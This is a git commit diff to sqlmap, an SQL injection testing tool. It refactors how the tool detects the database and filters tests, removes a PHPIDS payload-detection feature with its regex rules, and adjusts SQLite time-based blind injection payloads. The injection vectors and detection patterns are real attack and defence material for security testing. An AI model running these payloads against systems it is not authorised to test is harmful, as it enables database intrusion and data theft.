Merge branch 'master' of github.com:sqlmapproject/sqlmap

This commit is contained in:
Bernardo Damele 2013-02-03 11:31:12 +00:00
commit bd1ea13b8d
16 changed files with 100 additions and 343 deletions

View File

@ -85,6 +85,24 @@ def checkSqlInjection(place, parameter, value):
if kb.endDetection: if kb.endDetection:
break break
if conf.dbms is None:
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
if not Backend.getIdentifiedDbms() and not kb.heuristicDbms:
kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS
if not conf.testFilter and (Backend.getErrorParsedDBMSes() or kb.heuristicDbms) not in ([], None, UNKNOWN_DBMS):
if kb.reduceTests is None and Backend.getErrorParsedDBMSes():
msg = "heuristic (parsing) test showed that the "
msg += "back-end DBMS could be '%s'. " % (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms])
if kb.extendTests is None:
_ = (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms)
msg = "do you want to include all tests for '%s' " % _
msg += "ignoring provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk)
kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms])
title = test.title title = test.title
stype = test.stype stype = test.stype
clause = test.clause clause = test.clause
@ -143,15 +161,24 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
# Skip tests if title is not included by the given filter # Skip tests if title is not included by the given filter
if conf.testFilter: if conf.testFilter:
if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\ if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, dbms)):
test.details.dbms if "details" in test and "dbms" in test.details else "")):
debugMsg = "skipping test '%s' because " % title debugMsg = "skipping test '%s' because " % title
debugMsg += "its name/vector/dbms is not included by the given filter" debugMsg += "its name/vector/dbms is not included by the given filter"
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
else:
if not (kb.extendTests and intersect(dbms, kb.extendTests)):
# Skip test if the risk is higher than the provided (or default) # Skip test if the risk is higher than the provided (or default)
# value # value
# Parse test's <risk> # Parse test's <risk>
@ -170,14 +197,6 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
# Skip DBMS-specific test if it does not match either the
# previously identified or the user's provided DBMS (either
# from program switch or from parsed error message(s))
if "details" in test and "dbms" in test.details:
dbms = test.details.dbms
else:
dbms = None
if dbms is not None: if dbms is not None:
if injection.dbms is not None and not intersect(injection.dbms, dbms): if injection.dbms is not None and not intersect(injection.dbms, dbms):
debugMsg = "skipping test '%s' because " % title debugMsg = "skipping test '%s' because " % title
@ -192,17 +211,7 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
if conf.dbms is None and len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None: if kb.reduceTests and not intersect(dbms, kb.reduceTests):
msg = "parsed error message(s) showed that the "
msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes()
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
if readInput(msg, default="Y") in ("y", "Y"):
kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
else:
kb.skipOthersDbms = []
if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms):
debugMsg = "skipping test '%s' because " % title debugMsg = "skipping test '%s' because " % title
debugMsg += "the parsed error message(s) showed " debugMsg += "the parsed error message(s) showed "
debugMsg += "that the back-end DBMS could be " debugMsg += "that the back-end DBMS could be "
@ -444,10 +453,7 @@ def checkSqlInjection(place, parameter, value):
configUnion(test.request.char, test.request.columns) configUnion(test.request.char, test.request.columns)
if not Backend.getIdentifiedDbms(): if not Backend.getIdentifiedDbms():
if not kb.heuristicDbms: if kb.heuristicDbms in (None, UNKNOWN_DBMS):
kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS
if kb.heuristicDbms == UNKNOWN_DBMS:
warnMsg = "using unescaped version of the test " warnMsg = "using unescaped version of the test "
warnMsg += "because of zero knowledge of the " warnMsg += "because of zero knowledge of the "
warnMsg += "back-end DBMS. You can try to " warnMsg += "back-end DBMS. You can try to "
@ -556,8 +562,8 @@ def checkSqlInjection(place, parameter, value):
warnMsg = "user aborted during detection phase" warnMsg = "user aborted during detection phase"
logger.warn(warnMsg) logger.warn(warnMsg)
message = "How do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" msg = "How do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]"
choice = readInput(message, default="S", checkBatch=False) choice = readInput(msg, default="S", checkBatch=False)
if choice[0] in ("s", "S"): if choice[0] in ("s", "S"):
pass pass
@ -594,24 +600,23 @@ def checkSqlInjection(place, parameter, value):
def heuristicCheckDbms(injection): def heuristicCheckDbms(injection):
retVal = None retVal = None
if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: pushValue(kb.injection)
pushValue(kb.injection) kb.injection = injection
kb.injection = injection randStr1, randStr2 = randomStr(), randomStr()
randStr1, randStr2 = randomStr(), randomStr()
for dbms in getPublicTypeMembers(DBMS, True): for dbms in getPublicTypeMembers(DBMS, True):
Backend.forceDbms(dbms) Backend.forceDbms(dbms)
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
retVal = dbms retVal = dbms
break break
Backend.flushForcedDbms() Backend.flushForcedDbms()
kb.injection = popValue() kb.injection = popValue()
if retVal: if retVal:
infoMsg = "heuristic test showed that the back-end DBMS " infoMsg = "heuristic (extended) test shows that the back-end DBMS " # not as important as "parsing" counter-part (because of false-positives)
infoMsg += "could be '%s' " % retVal infoMsg += "could be '%s' " % retVal
logger.info(infoMsg) logger.info(infoMsg)
@ -725,7 +730,7 @@ def heuristicCheckSqlInjection(place, parameter):
parseFilePaths(page) parseFilePaths(page)
result = wasLastResponseDBMSError() result = wasLastResponseDBMSError()
infoMsg = "heuristic test shows that %s " % place infoMsg = "heuristic (parsing) test shows that %s " % place
infoMsg += "parameter '%s' might " % parameter infoMsg += "parameter '%s' might " % parameter
def _(page): def _(page):
@ -758,7 +763,7 @@ def heuristicCheckSqlInjection(place, parameter):
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N' kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N'
elif result: elif result:
infoMsg += "be injectable (possible DBMS: %s)" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS) infoMsg += "be injectable (possible DBMS: '%s')" % (Format.getErrorParsedDBMSes() or UNKNOWN_DBMS)
logger.info(infoMsg) logger.info(infoMsg)
else: else:

View File

@ -426,6 +426,10 @@ class Agent(object):
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
fieldsNoSelect = query fieldsNoSelect = query
_ = zeroDepthSearch(query, " FROM ")
if not _:
fieldsSelectFrom = None
if fieldsSubstr: if fieldsSubstr:
fieldsToCastStr = query fieldsToCastStr = query
elif fieldsMinMaxstr: elif fieldsMinMaxstr:
@ -441,7 +445,6 @@ class Agent(object):
elif fieldsSelectCase: elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0] fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom: elif fieldsSelectFrom:
_ = zeroDepthSearch(query, " FROM ")
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
elif fieldsSelect: elif fieldsSelect:
@ -888,23 +891,17 @@ class Agent(object):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search("\ASELECT\s+", expression, re.I) select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): if any((selectTopExpr, selectFromExpr, selectExpr)):
query = fieldsStr query = fieldsStr
else: else:
query = expression query = expression
if selectDistinctExpr: if select:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select:
lengthExpr = expression.replace(query, lengthQuery % query, 1) lengthExpr = expression.replace(query, lengthQuery % query, 1)
else: else:
lengthExpr = lengthQuery % expression lengthExpr = lengthQuery % expression

View File

@ -974,7 +974,6 @@ def setPaths():
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip") paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip")
paths.PHPIDS_RULES_XML = os.path.join(paths.SQLMAP_XML_PATH, "phpids_rules.xml")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml") paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml") paths.PAYLOADS_XML = os.path.join(paths.SQLMAP_XML_PATH, "payloads.xml")
paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml") paths.INJECTIONS_XML = os.path.join(paths.SQLMAP_XML_PATH, "injections.xml")
@ -1376,6 +1375,8 @@ def safeStringFormat(format_, params):
if isinstance(params, basestring): if isinstance(params, basestring):
retVal = retVal.replace("%s", params) retVal = retVal.replace("%s", params)
elif not isListLike(params):
retVal = retVal.replace("%s", str(params))
else: else:
count, index = 0, 0 count, index = 0, 0
while index != -1: while index != -1:

View File

@ -205,6 +205,7 @@ POST_HINT_CONTENT_TYPES = {
DEPRECATED_OPTIONS = { DEPRECATED_OPTIONS = {
"--replicate": "use '--dump-format=SQLITE' instead", "--replicate": "use '--dump-format=SQLITE' instead",
"--no-unescape": "use '--no-escape' instead", "--no-unescape": "use '--no-escape' instead",
"--check-payload": None,
} }
DUMP_DATA_PREPROCESS = { DUMP_DATA_PREPROCESS = {

View File

@ -324,6 +324,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
scheme = "https" scheme = "https"
port = port or "443" port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException, errMsg
if not url.startswith("http"): if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None scheme = None
@ -1521,6 +1525,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.dynamicParameter = False kb.dynamicParameter = False
kb.endDetection = False kb.endDetection = False
kb.explicitSettings = set() kb.explicitSettings = set()
kb.extendTests = None
kb.errorIsNone = True kb.errorIsNone = True
kb.fileReadMode = False kb.fileReadMode = False
kb.forcedDbms = None kb.forcedDbms = None
@ -1548,12 +1553,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.multiThreadMode = False kb.multiThreadMode = False
kb.negativeLogic = False kb.negativeLogic = False
kb.nullConnection = None kb.nullConnection = None
kb.pageCompress = True
kb.pageTemplate = None
kb.pageTemplates = dict()
kb.postHint = None
kb.previousMethod = None
kb.processUserMarks = None
kb.orderByColumns = None kb.orderByColumns = None
kb.originalCode = None kb.originalCode = None
kb.originalPage = None kb.originalPage = None
@ -1566,12 +1565,19 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.osVersion = None kb.osVersion = None
kb.osSP = None kb.osSP = None
kb.pageCompress = True
kb.pageTemplate = None
kb.pageTemplates = dict()
kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageEncoding = DEFAULT_PAGE_ENCODING
kb.pageStable = None kb.pageStable = None
kb.partRun = None kb.partRun = None
kb.permissionFlag = False kb.permissionFlag = False
kb.postHint = None
kb.postSpaceToPlus = False
kb.prependFlag = False kb.prependFlag = False
kb.processResponseCounter = 0 kb.processResponseCounter = 0
kb.previousMethod = None
kb.processUserMarks = None
kb.proxyAuthHeader = None kb.proxyAuthHeader = None
kb.queryCounter = 0 kb.queryCounter = 0
kb.redirectChoice = None kb.redirectChoice = None
@ -1584,8 +1590,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.resumeValues = True kb.resumeValues = True
kb.safeCharEncode = False kb.safeCharEncode = False
kb.singleLogFlags = set() kb.singleLogFlags = set()
kb.skipOthersDbms = None kb.reduceTests = None
kb.postSpaceToPlus = False
kb.stickyDBMS = False kb.stickyDBMS = False
kb.stickyLevel = None kb.stickyLevel = None
kb.suppressResumeInfo = False kb.suppressResumeInfo = False

View File

@ -195,7 +195,6 @@ optDict = {
"alert": "string", "alert": "string",
"answers": "string", "answers": "string",
"beep": "boolean", "beep": "boolean",
"checkPayload": "boolean",
"checkWaf": "boolean", "checkWaf": "boolean",
"cleanup": "boolean", "cleanup": "boolean",
"dependencies": "boolean", "dependencies": "boolean",

View File

@ -466,7 +466,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10 CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns" # Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "heuristic test showed") BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that")
# Generic www root directory names # Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "wwwroot", "www") GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "wwwroot", "www")

View File

@ -612,10 +612,6 @@ def cmdLineParser():
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Make a beep sound when SQL injection is found") help="Make a beep sound when SQL injection is found")
miscellaneous.add_option("--check-payload", dest="checkPayload",
action="store_true",
help="Offline WAF/IPS/IDS payload detection testing")
miscellaneous.add_option("--check-waf", dest="checkWaf", miscellaneous.add_option("--check-waf", dest="checkWaf",
action="store_true", action="store_true",
help="Check for existence of WAF/IPS/IDS protection") help="Check for existence of WAF/IPS/IDS protection")

View File

@ -256,8 +256,7 @@ def decodePage(page, contentEncoding, contentType):
def processResponse(page, responseHeaders): def processResponse(page, responseHeaders):
kb.processResponseCounter += 1 kb.processResponseCounter += 1
if not kb.dumpTable: parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)
if conf.parseErrors: if conf.parseErrors:
msg = extractErrorMessage(page) msg = extractErrorMessage(page)

View File

@ -79,7 +79,6 @@ from lib.request.basic import processResponse
from lib.request.direct import direct from lib.request.direct import direct
from lib.request.comparison import comparison from lib.request.comparison import comparison
from lib.request.methodrequest import MethodRequest from lib.request.methodrequest import MethodRequest
from lib.utils.checkpayload import checkPayload
from thirdparty.socks.socks import ProxyError from thirdparty.socks.socks import ProxyError
from thirdparty.multipart import multipartpost from thirdparty.multipart import multipartpost
@ -658,9 +657,6 @@ class Connect(object):
if place: if place:
value = agent.removePayloadDelimiters(value) value = agent.removePayloadDelimiters(value)
if conf.checkPayload:
checkPayload(value)
if PLACE.GET in conf.parameters: if PLACE.GET in conf.parameters:
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value

View File

@ -25,6 +25,7 @@ from lib.core.common import isTechniqueAvailable
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf from lib.core.data import conf
@ -76,6 +77,13 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if not (timeBasedCompare and kb.dnsTest): if not (timeBasedCompare and kb.dnsTest):
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not timeBasedCompare: if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not timeBasedCompare:
if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
expression = "SELECT %s FROM (%s)" % (field, expression)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True)
if field and conf.hexConvert: if field and conf.hexConvert:
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1) injExpression = expression.replace(field, nulledCastedField, 1)

View File

@ -1,56 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.common import readXmlFile
from lib.core.common import urldecode
from lib.core.data import paths
from lib.core.data import logger
rules = None
def _adjustGrammar(string):
string = re.sub('\ADetects', 'Detected', string)
string = re.sub('\Afinds', 'Found', string)
string = re.sub('attempts\Z', 'attempt', string)
string = re.sub('injections\Z', 'injection', string)
string = re.sub('attacks\Z', 'attack', string)
return string
def checkPayload(payload):
"""
This method checks if the generated payload is detectable by the
PHPIDS filter rules
"""
if not payload:
return
global rules
detected = False
payload = urldecode(payload, convall=True)
if not rules:
xmlrules = readXmlFile(paths.PHPIDS_RULES_XML)
rules = []
for xmlrule in xmlrules.getElementsByTagName("filter"):
rule = "(?i)%s" % xmlrule.getElementsByTagName('rule')[0].childNodes[0].nodeValue
desc = _adjustGrammar(xmlrule.getElementsByTagName('description')[0].childNodes[0].nodeValue)
rules.append((rule, desc))
if payload:
for rule, desc in rules:
if re.search(rule, payload):
detected = True
logger.warn("highly probable IDS/IPS detection: '%s: %s'" % (desc, payload))
if not detected:
logger.warn("payload '%s' possibly gone undetected" % payload)

View File

@ -534,8 +534,13 @@ class Search:
for index in indexRange: for index in indexRange:
query = rootQuery.blind.query2 query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery if query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % colQuery
else:
query += " AND %s" % colQuery
query = safeStringFormat(query, db)
query += whereTblsQuery query += whereTblsQuery
query = agent.limitQuery(index, query) query = agent.limitQuery(index, query)

View File

@ -2231,9 +2231,9 @@ Formats:
<risk>2</risk> <risk>2</risk>
<clause>0</clause> <clause>0</clause>
<where>1</where> <where>1</where>
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request> <request>
<payload>; SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> <payload>; SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
@ -2580,9 +2580,9 @@ Formats:
<risk>2</risk> <risk>2</risk>
<clause>1</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request> <request>
<payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> <payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>
@ -2600,9 +2600,9 @@ Formats:
<risk>2</risk> <risk>2</risk>
<clause>1</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request> <request>
<payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> <payload>AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>
@ -2881,9 +2881,9 @@ Formats:
<risk>3</risk> <risk>3</risk>
<clause>1</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)</vector> <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request> <request>
<payload>OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))</payload> <payload>OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>
@ -3178,9 +3178,9 @@ Formats:
<risk>2</risk> <risk>2</risk>
<clause>1,2,3</clause> <clause>1,2,3</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END))</vector> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END))</vector>
<request> <request>
<payload>(SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))))</payload> <payload>(SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>

View File

@ -1,199 +0,0 @@
<filters>
<filter>
<id>40</id>
<rule><![CDATA[(?:\)\s*when\s*\d+\s*then)|(?:"\s*(?:#|--|{))|(?:\/\*!\s?\d+)|(?:ch(?:a)?r\s*\(\s*\d)|(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\()]]></rule>
<description>Detects MySQL comments, conditions and ch(a)r injections</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>41</id>
<rule><![CDATA[(?:[\s()]case\s*\()|(?:\)\s*like\s*\()|(?:having\s*[^\s]+\s*[^\w\s])|(?:if\s?\([\d\w]\s*[=<>~])]]></rule>
<description>Detects conditional SQL injection attempts</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>42</id>
<rule><![CDATA[(?:"\s*or\s*\d)|(?:\\x(?:23|27|3d))|(?:^.?"$)|(?:^.*\\".+(?<!\\)")|(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s*[|-]\s*"\s*\w)|(?:@\w+\s+(and|or)\s*["\d]+)|(?:@[\w-]+\s(and|or)\s*[^\w\s])|(?:[^\w\s:]\s*\d\W+[^\w\s]\s*".)]]></rule>
<description>Detects classic SQL injection probings 1/2</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>43</id>
<rule><![CDATA[(?:"\s*\*.+(?:or|id)\W*"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=\|\|)(?<=\&\&)\w+\()|(?:"[\s\d]*[^\w\s]+\W*\d\W*.*["\d])|(?:"\s*[^\w\s?]+\s*[^\w\s]+\s*")|(?:"\s*[^\w\s]+\s*[\W\d].*(?:#|--))|(?:".*\*\s*\d)|(?:"\s*or\s[\w-]+.*\d)|(?:[()*<>%+-][\w-]+[^\w\s]+"[^,])]]></rule>
<description>Detects classic SQL injection probings 2/2</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>6</impact>
</filter>
<filter>
<id>44</id>
<rule><![CDATA[(?:\d"\s+"\s+\d)|(?:^admin\s*"|(\/\*)+"+\s?(?:--|#|\/\*|{)?)|(?:"\s*or[\w\s-]+\s*[+<>=(),-]\s*[\d"])|(?:"\s*[^\w\s]?=\s*")|(?:"\W*[+=]+\W*")|(?:"\s*[!=|][\d\s!=+-]+.*["(].*$)|(?:"\s*[!=|][\d\s!=]+.*\d+$)|(?:"\s*like\W+[\w"(])|(?:\sis\s*0\W)|(?:where\s[\s\w\.,-]+\s=)|(?:"[<>~]+")]]></rule>
<description>Detects basic SQL authentication bypass attempts 1/3</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>7</impact>
</filter>
<filter>
<id>45</id>
<rule><![CDATA[(?:union\s*(?:all|distinct|[(!@]+)?\s*[([]*\s*select)|(?:\w+\s+like\s+\")|(?:like\s*"\%)|(?:"\s*like\W*["\d])|(?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having)|(?:"\s*\*\s*\w+\W+")|(?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w)|(?:select\s*[\[\]()\s\w\.,-]+from)]]></rule>
<description>Detects basic SQL authentication bypass attempts 2/3</description>
<tags>
<tag>sqli</tag>
<tag>id</tag>
<tag>lfi</tag>
</tags>
<impact>7</impact>
</filter>
<filter>
<id>46</id>
<rule><![CDATA[(?:in\s*\(+\s*select)|(?:(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w+]+(?:regexp\s*\(|sounds\s+like\s*"|[=\d]+x))|("\s*\d\s*(?:--|#))|(?:"[%&<>^=]+\d\s*(=|or))|(?:"\W+[\w+-]+\s*=\s*\d\W+")|(?:"\s*is\s*\d.+"?\w)|(?:"\|?[\w-]{3,}[^\w\s.,]+")|(?:"\s*is\s*[\d.]+\s*\W.*")]]></rule>
